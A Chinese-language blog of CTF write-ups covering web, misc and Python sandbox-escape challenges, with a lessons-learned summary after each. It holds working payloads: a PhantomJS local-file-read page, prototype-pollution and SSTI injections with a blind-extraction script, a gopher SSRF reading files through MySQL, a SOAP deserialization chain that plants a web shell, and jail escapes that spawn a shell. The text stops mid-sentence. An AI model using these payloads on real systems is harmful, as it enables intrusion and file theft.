Web
BUUCTF: [FireshellCTF2020]ScreenShoot
打开题目发现是一个网页截图网站,尝试使用file://协议读/etc/passwd,发现失败了。
猜测其是利用后端的无头浏览器截图,在本地开个http服务看看后端服务是什么:
可以看到用的是PhantomJS,查找资料了解到PhantomJS在小于等于2.1.1版本是存在任意文件读漏洞的:CVE-2019-17221
还是利用file协议,不过需要写一个HTML exp:
<!DOCTYPE html>
<html>
<head></head>
<body>
<script>
const xhr = new XMLHttpRequest;
xhr.onload = function() {
document.write(this.responseText);
}
xhr.open("GET", "file:///flag");
xhr.send();
</script>
</body>
</html>
然后截图即可得到flag:
BUUCTF: [SUCTF 2018]annonymous
题目:
<?php
$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__);
阅读代码可知这道题是要想办法访问到$MY这个匿名函数,而查阅资料了解到PHP的匿名函数也是有名字的,名字为 \x00lambda_%d
,其中%d代表他是当前进程中的第几个匿名函数,所以爆破即可找到flag。
总结
通过这道题学习到了PHP的匿名函数的命名特点。
CTFShow: [_DSBCTF_单身杯]ez_inject
打开题目先注册个账号,登陆后在/chat路由可以找到hint:
显然就是要通过Python原型链污染来污染secret key了。
注销后在注册页面就可以用以下Payload污染:
{
"username": "admin",
"password": "admin",
"__init__": {"__globals__": {"app": {"config": {"SECRET_KEY": "admin"}}}}
}
之后使用admin登录,并修改session:
python main.py decode -c "eyJlY2hvX21lc3NhZ2UiOiJfX2luaXRfXyIsImlzX2FkbWluIjowLCJ1c2VybmFtZSI6ImFkbWluIn0.ZzndSw.GImHD3im17iaxCmGy-7kugPnlBY" -s "admin"
# {'echo_message': '__init__', 'is_admin': 0, 'username': 'admin'}
python main.py encode -t "{'echo_message': '__init__', 'is_admin': 1, 'username': 'admin'}" -s "admin"
# eyJlY2hvX21lc3NhZ2UiOiJfX2luaXRfXyIsImlzX2FkbWluIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZzndvQ.zdbt-buoIJjXw5GzsGKqQ-FFfDU
修改后可以在/secret路由找到新的hint:
提示可以在/echo进行SSTI注入。
发现进行了一些简单的waf,使用字符串拼接绕过,最后的Payload如下:
config['__in'+'it__']['__glo'+'bals__']['__bui'+'ltins__'].__import__('bui'+'ltins').open('/fl'+'ag').read()
关于官方wp
官方wp中这道题使用了SSTI盲注解决,虽然本题没那么复杂,但是借此积累一下盲注的脚本:
import requests
import concurrent.futures
url = "http://uuid.challenge.ctf.show/echo"
strings = "qwertyuiopasdfghjklzxcvbnm{}-12334567890"
target = ""
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"cookie":"user=session"
}
def check_character(i, j, string):
payload = '''
cycler["__in"+"it__"]["__glo"+"bals__"]
["__bui"+"ltins__"].__import__('builtins').open('/flag').read({})[{}]=='{}'
'''.format(j + 1, j, string)
data = {"message": payload}
r = requests.post(url=url, data=data, headers=headers)
return string if r.status_code == 200 and "your answer is True" in r.text else None
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
for i in range(50):
futures = []
for j in range(50):
for string in strings:
futures.append(executor.submit(check_character, i, j, string))
for future in concurrent.futures.as_completed(futures):
result = future.result()
if result:
print(result)
target += result
if result == "}":
print(target)
exit()
总结
通过这道题学习到了可以利用Python原型链污染的方式修改flask的secret key,同时学习到了SSTI盲注的手法。
BUUCTF: [DASCTF X GFCTF 2024|四月开启第一局]cool_index
下载附件后可以发现关键代码位于server.js:
...
const JWT_SECRET = crypto.randomBytes(64).toString("hex");
const articles = [
...
{
line1: "欢迎参加 DASCTF x GFCTF 2024!",
line2: FLAG,
},
];
app.get("/", (req, res) => {
...
});
...
app.post("/register", (req, res) => {
const { username, voucher } = req.body;
if (typeof username === "string" && (!voucher || typeof voucher === "string")) {
const subscription = (voucher === FLAG + JWT_SECRET ? "premium" : "guest");
if (voucher && subscription === "guest") {
return res.status(400).json({ message: "邀请码无效" });
}
const userToken = jwt.sign({ username, subscription }, JWT_SECRET, {
expiresIn: "1d",
});
res.cookie("token", userToken, { httpOnly: true });
return res.json({ message: "注册成功", subscription });
}
return res.status(400).json({ message: "用户名或邀请码无效" });
});
app.post("/article", (req, res) => {
const token = req.cookies.token;
if (token) {
try {
const decoded = jwt.verify(token, JWT_SECRET);
let index = req.body.index;
if (req.body.index < 0) {
return res.status(400).json({ message: "你知道我要说什么" });
}
if (decoded.subscription !== "premium" && index >= 7) {
return res
.status(403)
.json({ message: "订阅高级会员以解锁" });
}
index = parseInt(index);
if (Number.isNaN(index) || index > articles.length - 1) {
return res.status(400).json({ message: "你知道我要说什么" });
}
return res.json(articles[index]);
} catch (error) {
res.clearCookie("token");
return res.status(403).json({ message: "重新登录罢" });
}
} else {
return res.status(403).json({ message: "未登录" });
}
});
...
本题只有高级会员才能读到第7个及以后的文章,也就是flag。
看到这道题就打算去爆破jwt的secret key,但是显然64bytes的key不是一时半会能爆破出来的。
继续阅读代码可以找到 index = parseInt(index);
,这就可以利用了:
当传入的字符串包含不是数字的部分,如 "7a"
,那么:
console.log("7a" >= 7); // false
console.log(parseInt("7a")); // 7
就可以读到flag了。
总结
通过这道题意识到了不要看到jwt就想要获得secret key,有时这个key是很难获得的,这时候需要多观察代码,寻找其他的漏洞加以利用。
BUUCTF: [DASCTF X GFCTF 2024|四月开启第一局]EasySignin
是个登录页面,先注册个账号登录进去,但是不能调用查看图片的接口。
但是可以找到修改密码的页面:
可以发现,只要修改username为admin,应该就可以修改admin的密码了。
然后成功修改密码,登录admin,并且可以查看图片了。
尝试使用file协议和php协议读文件,发现都被ban了,连/etc/passwd都读不了。
进而考虑打SSRF,读http://127.0.0.1。
但到这里就没有思路了,查看了WP后才知道这道题开了个MySQL服务在3306端口,可以打gopher协议。
使用Gopherus生成payload即可(注意payload需要经过二次urlencode):
接下来访问 view-source:http://a77baf64-c210-4184-81d7-ed09d473bcc5.node5.buuoj.cn:81/getpicture.php?url=gopher%3A%2F%2F127.0.0.1%3A3306%2F_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%251b%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%256c%256f%2561%2564%255f%2566%2569%256c%2565%2528%2527%252f%2566%256c%2561%2567%2527%2529%253b%2501%2500%2500%2500%2501
,Base64解码即可得到flag。
总结
通过这道题积累到了可能通过SSRF打gopher协议访问数据库服务获取flag。
BUUCTF: [DASCTF X 0psu3十一月挑战赛|越艰巨·越狂热]simgle_php
打开页面,提示需要GET传入一个LuckyE,然后会执行传入的函数名,参数是当前文件。
highlight_file看看源码:
可以发现就是一个简单的反序列化,需要给siroba->koi赋值一个数组,然后它会将zhanjiangdiyishenqing键对应的值当作函数执行。
之后还发现这个页面的title提示查看siranai.php:
显然index.php的反序列化就是为了调用Soap类打SSRF来访问这个页面了。
而这个页面会将POST的tar压缩包解压到/tmp目录。
不难联想到国赛那道unzip题目,用软链接把一句话木马存到/var/www/html。
但是经过提示这道题的/var/www/html是只读的,不能写文件,需要另寻他路。
然后就卡在这里了,最后看了WP才知道是要利用OPCACHE功能的缓存。
参考:DASCTF X 0psu3 Web Writeup 和 PHP8 OPCACHE缓存文件导致RCE
所以需要在本地开一个带OPCACHE的PHP,然后生成一句话木马的缓存,修改system_id和时间戳后压缩上传就行了。
PHP8计算system_id的脚本是:
<?php
var_dump(md5("[PHP版本号][Zend Extension Build(可以在phpinfo()获得)],NTSBIN_4888(size_t)8\002"));
?>
所以本题的system_id的计算脚本就是:
<?php
var_dump(md5("8.2.10API420220829,NTSBIN_4888(size_t)8\002"));
?>
最后的payload为:
<?php
class siroha {
public $koi;
}
$postdata = "--0f9486e921f5468f9ab50745c4c93267\r\nContent-Disposition: form-data; name=\"file\"; filename=\"exp.tar\"\r\nContent-Type: application/x-tar\r\n\r\n【修改后的一句话木马文件的压缩包的二进制数据】\r\n--0f9486e921f5468f9ab50745c4c93267--\r\n";
$a = new SoapClient(null, ['location' => "http://127.0.0.1/siranai.php", 'user_agent' => "Enterpr1se\r\n" . "Cookie: PHPSESSION=16aaab9fb\r\nContent-Type: multipart/form-data; boundary=".substr($postdata,2,32)."\r\nConnection: keep-alive\r\nAccept: */*\r\nContent-Length: 10416"."\r\n\r\n".$postdata, 'uri' => "http://127.0.0.1/siranai.php"]);
$b = new siroha();
$b->koi = ["zhanjiangdiyishenqing" => [$a, "nnnnn"]];
echo urlencode(serialize($b));
?>
总结
通过这道题积累到了当文件会上传并覆盖tmp目录下的文件时,可以考虑覆盖OPCACHE的缓存文件来达到RCE的目的。
Misc
BUUCTF: [NewStarCTF 2023 公开赛道]键盘侠
下载附件,根据题目提示是键盘流量分析:
过滤 usb.src == "1.15.1"
的流量,并另存为一个新的pcapng文件。
使用 tshark -r keyboard.pcapng -T fields -e usb.capdata > 1.txt
导出capdata。
使用以下脚本即可提取出键盘输入的内容:
normalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i",
"0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o", "13": "p", "14": "q", "15": "r",
"16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y", "1d": "z", "1e": "1",
"1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": "0",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": " ", "2d": "-", "2e": "=", "2f": "[",
"30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'", "35": "<GA>", "36": ",", "37": ".", "38": "/",
"39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
"40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
shiftKeys = {"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F", "0a": "G", "0b": "H", "0c": "I",
"0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O", "13": "P", "14": "Q", "15": "R",
"16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X", "1c": "Y", "1d": "Z", "1e": "!",
"1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&", "25": "*", "26": "(", "27": ")",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": " ", "2d": "_", "2e": "+", "2f": "{",
"30": "}", "31": "|", "32": "<NON>", "33": "\"", "34": ":", "35": "<GA>", "36": "<", "37": ">", "38": "?",
"39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
"40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
nums = []
keys = open('1.txt') # 你的文本文件
for line in keys:
if len(line) != 17: # 首先过滤掉鼠标等其他设备的USB流量
continue
nums.append(line[0:2] + line[4:6]) # 取一、三字节
keys.close()
output = ""
for n in nums:
if n[2:4] == "00":
continue
if n[2:4] in normalKeys:
if n[0:2] == "02": # 表示按下了shift
if shiftKeys[n[2:4]] == "<DEL>":
output = output[:-1]
else:
output += shiftKeys[n[2:4]]
else:
if normalKeys[n[2:4]] == "<DEL>":
output = output[:-1]
else:
output += normalKeys[n[2:4]]
else:
output += '[unknown]'
print('output :' + output)
# output :w3lc0m3 to newstar ctf 2023 flag is here vvvvbaaaasffjjwwwwrrissgggjjaaasdddduuwwwwwwwwiiihhddddddgggjjjjjaa1112333888888<ESC><ESC>2hhxgbffffbbbnna <CAP><CAP>flag{9919aeb2-a450-2f5f-7bfc[unknown][unknown][unknown]-89df4bfa8584}] nice work!1yyoou ggot tthhis fllag
总结
通过这道题学习到了对键盘流量的分析。
BUUCTF: [DASCTF Oct X 吉林工师 欢迎来到魔法世界~]giveyourflag
下载附件,用7-zip打开发现是一堆的压缩包嵌套。
编写以下脚本即可解压:
import os, shutil
filename = "flag1"
if os.path.exists("./opt"):
shutil.rmtree("./opt")
os.mkdir("./opt")
i = 0
while True:
os.mkdir("./opt/opt"+str(i))
res = os.popen("7z x "+filename+" -o./opt/opt"+str(i)).read()
if "Can't open as archive" in res:
break
filename = "./opt/opt"+str(i)+"/"+os.listdir("./opt/opt"+str(i))[0]
print("Filename: "+filename)
if i >= 1:
shutil.rmtree("./opt/opt"+str(i-1))
i += 1
解压后打开进行Base64解密,再进行凯撒密码(key=3)解密,即可得到flag。
总结
通过这道题积累了解压嵌套压缩包的脚本。
NSSCTF: [HNCTF 2022 Week1]l@ke l@ke l@ke(JAIL)
题目:
#it seems have a backdoor as `lake lake lake`
#but it seems be limited!
#can u find the key of it and use the backdoor
fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"
def func():
code = input(">")
if(len(code)>6):
return print("you're hacker!")
try:
print(eval(code))
except:
pass
def backdoor():
print("Please enter the admin key")
key = input(">")
if(key == fake_key_var_in_the_local_but_real_in_the_remote):
code = input(">")
try:
print(eval(code))
except:
pass
else:
print("Nooo!!!!")
WELCOME = '''
_ _ _ _ _ _
| | ____ | | | | ____ | | | | ____ | |
| | / __ \| | _____ | | / __ \| | _____ | | / __ \| | _____
| |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \
| | | (_| | < __/ | | | (_| | < __/ | | | (_| | < __/
|_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
\____/ \____/ \____/
'''
print(WELCOME)
print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
func()
exit(0)
elif(input_data == "2"):
backdoor()
exit(0)
else:
print("not found the choice")
exit(0)
阅读代码可知,相较于lake lake lake,这道题对于长度的限制更严格了,不能超过6个字符,然后依然是通过读admin key进backdoorRCE。
查阅资料了解到,help(__main__)
可以得到当前模块下的变量值。
所以payload如下:
func: help()
> __main__ # 在这里得到了key值为95c720690c2c83f0982ffba63ff87338
backdoor: __import__('os').system('cat flag')
总结
通过这道题了解到了也可以通过 help(__main__)
获取当前模块下的变量值。
NSSCTF: [HNCTF 2022 WEEK2]calc_jail_beginner_level4(JAIL)
题目:
#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr']
eval_func = eval
for m in BANLIST:
del __builtins__.__dict__[m]
del __loader__, __builtins__
def filter(s):
not_allowed = set('"\'`')
return any(c in not_allowed for c in s)
WELCOME = '''
_ _ _ _ _ _ _ _ _
| | (_) (_) (_) | | | | | || |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _|
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_|
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval_func(input_data)))
阅读代码可知这题不能输入字符串,还把chr扬了,那么还有bytes可以用来构造字符串。
简单搓了个脚本:
while True:
string = input("Enter a string: ")
if not string:
break
new_string = "bytes(["
for i in string:
new_string += str(ord(i)) + ","
new_string = new_string[:-1] + "]).decode()"
print(new_string)
首先获取Object基类的子类:
().__class__.__base__.__subclasses__()
执行后可以找到 os._wrap_close
的位置是-4。
找到os即可get shell:
().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')
绕过:
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[bytes([115,121,115,116,101,109]).decode()](bytes([115,104]).decode())
然后 cat ./flag
即可。
总结
通过这道题学习到了在chr也不能用的情况下可以使用bytes绕过。
NSSCTF: [HNCTF 2022 WEEK2]calc_jail_beginner_level4.0.5(JAIL)
这题没有附件,直接连上看看:
虽然又过滤了一堆,但上题的payload依然可用。
NSSCTF: [HNCTF 2022 WEEK2]calc_jail_beginner_level4.1(JAIL)
这题终于是把bytes也扬了。
但是str还能用,所以考虑把需要的命令拼出来。
先找一个可能包含所有26个字母的东西,比如说Object基类的子类列表,然后把它转成字符串:
str(().__class__.__base__.__subclasses__())
然后写个脚本在得到的一堆东西里面找字母就行了:
lib = """[<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'managedbuffer'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'types.UnionType'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class '_contextvars.Context'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Token'>, <class 'Token.MISSING'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]"""
while True:
string = input("Enter a string: ")
if not string:
break
new_string = ""
for i in string:
for j in lib:
if i == j:
new_string += "str(().__class__.__base__.__subclasses__())["+str(lib.index(j))+"]+"
break
print(new_string[:-1])
在这一步已经可以找到 os._wrap_close
的位置是-4。
找到os即可get shell:
().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')
绕过:
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str(().__class__.__base__.__subclasses__())[5]+str(().__class__.__base__.__subclasses__())[10]+str(().__class__.__base__.__subclasses__())[5]+str(().__class__.__base__.__subclasses__())[9]+str(().__class__.__base__.__subclasses__())[12]+str(().__class__.__base__.__subclasses__())[181]](str(().__class__.__base__.__subclasses__())[5]+str(().__class__.__base__.__subclasses__())[184])
然后 ls
发现flag名称为 flag_y0u_CaNt_FiNd_mE
,cat即可。
总结
通过这道题积累到了可以将Object基类的子类列表转换为字符串,然后在里面找需要的字符的方法。
NSSCTF: [HNCTF 2022 WEEK2]calc_jail_beginner_level4.2(JAIL)
这题把加号都ban了,考虑使用 str()
得到空字符串后使用 join()
方法拼接列表来得到所需的字符串。
get shell的绕过payload为:
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([str(().__class__.__base__.__subclasses__())[5],str(().__class__.__base__.__subclasses__())[10],str(().__class__.__base__.__subclasses__())[5],str(().__class__.__base__.__subclasses__())[9],str(().__class__.__base__.__subclasses__())[12],str(().__class__.__base__.__subclasses__())[181]])](str().join([str(().__class__.__base__.__subclasses__())[5],str(().__class__.__base__.__subclasses__())[184]]))
总结
通过这道题积累到了当加号被ban的时候,可以用join方法拼接列表来达成拼接字符串的目的。
NSSCTF: [HNCTF 2022 WEEK2]calc_jail_beginner_level4.3(JAIL)
上题payload依然可用,不多赘述。
NSSCTF: [HNCTF 2022 WEEK2]calc_jail_beginner_level5(JAIL)
根据提示先看dir():
> dir()
# dir['__builtins__', 'my_flag']
看到个my_flag,继续dir列出它里面的东西:
> dir(my_flag)
# ['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'flag_level5']
继续dir:
> dir(my_flag.flag_level5)
# ['__add__', '__class__', '__contains__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__module__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'removeprefix', 'removesuffix', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
看起来像是个字符串,但是直接打印会报出来个DELETED:
> print(my_flag.flag_level5)
# DELETED
之后尝试对字符串进行处理再打印就能得到flag了:
> print(my_flag.flag_level5.split())
# ['flag=NSSCTF{665d49cf-957a-4582-9ea9-67dfeb46594b}']
猜测其重写了字符串的__str__属性。
非预期解
本题依然可以直接用os.system get shell,可以读出来flag和本题处理flag的源码:
class secert_flag(str):
def __repr__(self) -> str:
return "DELETED"
def __str__(self) -> str:
return "DELETED"
class flag_level5:
def __init__(self, flag: str):
setattr(self, 'flag_level5', secert_flag(flag))
def get_flag():
with open('flag') as f:
return flag_level5(f.read())
和猜测的一致,的确是重写了__str__。
总结
通过这道题了解到了可以通过dir()获取对象的属性和方法,同时也了解到了属性和方法可以被重写。
NSSCTF: [HNCTF 2022 WEEK2]calc_jail_beginner_level5.1(JAIL)
这题和上题找flag位置的过程一致,但是把print扬了。
直接 my_flag.flag_level5.split()
即可得到flag。
NSSCTF: [HNCTF 2022 WEEK2]laKe laKe laKe(JAIL)
题目:
#You finsih these two challenge of leak
#So cool
#Now it's time for laKe!!!!
import random
from io import StringIO
import sys
sys.addaudithook
BLACKED_LIST = ['compile', 'eval', 'exec', 'open']
eval_func = eval
open_func = open
for m in BLACKED_LIST:
del __builtins__.__dict__[m]
def my_audit_hook(event, _):
BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))
def guesser():
game_score = 0
sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
sys.stdout.flush()
right_guesser_question_answer = random.randint(1, 9999999999999)
sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout
try:
input_data = eval_func(input(''),{},{})
except Exception:
sys.stdout = challenge_original_stdout
print("Seems not right! please guess it!")
return game_score
sys.stdout = challenge_original_stdout
if input_data == right_guesser_question_answer:
game_score += 1
return game_score
WELCOME='''
_ _ __ _ _ __ _ _ __
| | | |/ / | | | |/ / | | | |/ /
| | __ _| ' / ___ | | __ _| ' / ___ | | __ _| ' / ___
| |/ _` | < / _ \ | |/ _` | < / _ \ | |/ _` | < / _ \
| | (_| | . \ __/ | | (_| | . \ __/ | | (_| | . \ __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
'''
def main():
print(WELCOME)
print('Welcome to my guesser game!')
game_score = guesser()
if game_score == 1:
print('you are really super guesser!!!!')
print(open_func('flag').read())
else:
print('Guess game end!!!')
if __name__ == '__main__':
sys.addaudithook(my_audit_hook)
main()
阅读代码可知需要使得 input_data==随机数
才能得到flag,但这显然不可能。
而这题使用了eval获取input_data,但是eval的locals和globals都置空了。
这里考虑使用栈帧逃逸直接获得right_guesser_question_answer的值。
什么是栈帧?
参考 什么是栈帧 和 利用生成器栈帧逃逸 Pyjail | CISCN 2024 mossfern 题解 可以了解到:
每一次函数的调用,都会在调用栈(call stack)上维护一个独立的栈帧(stack frame)。每个独立的栈帧一般包括:
- 函数的返回地址和参数
- 临时变量: 包括函数的非静态局部变量以及编译器自动生成的其他临时变量
- 函数调用的上下文
而在Python中,可以通过 _getframe
这个方法拿到函数的栈帧,看看栈帧里面有什么:
dir(__import__("sys")._getframe())
"""
['__class__',
...
'f_back',
'f_builtins',
'f_code',
'f_globals',
'f_lasti',
'f_lineno',
'f_locals',
'f_trace',
'f_trace_lines',
'f_trace_opcodes']
除了Object共有的属性之外,有一些f_开头的属性是栈帧对象独有的。以下这些是对我们有用的:
f_back:它是指向上一个栈帧的指针。在 Python 中,__import__("sys")._getframe().f_back拿到的也是一个栈帧对象。
f_builtins、f_globals、f_locals:对应着当前栈帧的builtins、globals、locals对象。
题解
理解了栈帧的知识,那么就可以通过f_back返回eval外的作用域,然后再通过f_locals获得作用域下的变量,就可以获得right_guesser_question_answer的值了。
所以payload如下:
int(__import__("sys")._getframe().f_back.f_locals['right_guesser_question_answer'])
总结
通过这道题初步了解了Python的栈帧,以及利用栈帧逃逸访问eval外的作用域,修改其中的变量。
NSSCTF: [HNCTF 2022 WEEK2]lak3 lak3 lak3(JAIL)
本题和上题解法一致。
NSSCTF: [HNCTF 2022 WEEK3]calc_jail_beginner_level6(JAIL)
可以发现这题把常用的hook的都ban掉了,测试了help、os.system和open也都不能用。
又试了下栈帧逃逸,发现它连 object.__getattr__
都ban了。
经过搜索找到了WP:https://dummykitty.github.io/python/2023/05/30/pyjail-bypass-07-%E7%BB%95%E8%BF%87-audit-hook.html
积累到了利用 _posixsubprocess.fork_exec
来RCE。
_posixsubprocess
模块是Python的内部模块,提供了一个用于在UNIX平台上创建子进程的低级别接口。subprocess
